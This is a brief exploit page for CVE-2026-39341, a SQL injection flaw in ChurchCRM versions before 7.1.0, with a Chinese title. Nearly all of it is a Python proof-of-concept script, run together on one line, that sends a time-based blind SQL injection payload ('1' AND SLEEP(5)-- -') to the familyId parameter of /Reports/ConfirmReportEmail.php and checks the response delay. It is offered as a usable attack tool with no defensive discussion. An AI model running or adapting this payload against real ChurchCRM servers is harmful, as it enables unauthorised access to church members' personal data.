CVE-2026-39341: ChurchCRM SQL注入漏洞

#!/usr/bin/env python3 import requests import time def exploit_sqli(target_url): """ PoC for CVE-2026-39341 Target: ChurchCRM < 7.1.0 Endpoint: /Reports/ConfirmReportEmail.php?familyId= Type: Time-based SQL Injection """ # Construct the vulnerable endpoint full_url = f"{target_url}/Reports/ConfirmReportEmail.php" # Payload to trigger time-based delay # Checks if the database waits for 5 seconds payload = "?familyId=1' AND SLEEP(5)-- -" print(f"[*] Sending payload to: {full_url}") try: start_time = time.time() response = requests.get(full_url + payload, timeout=10) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= 5: print(f"[+] Vulnerability confirmed! Response took {elapsed_time:.2f} seconds.") print("[+] The application is vulnerable to CVE-2026-39341.") else: print(f"[-] Vulnerability not detected. Response took {elapsed_time:.2f} seconds.") except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost" exploit_sqli(target)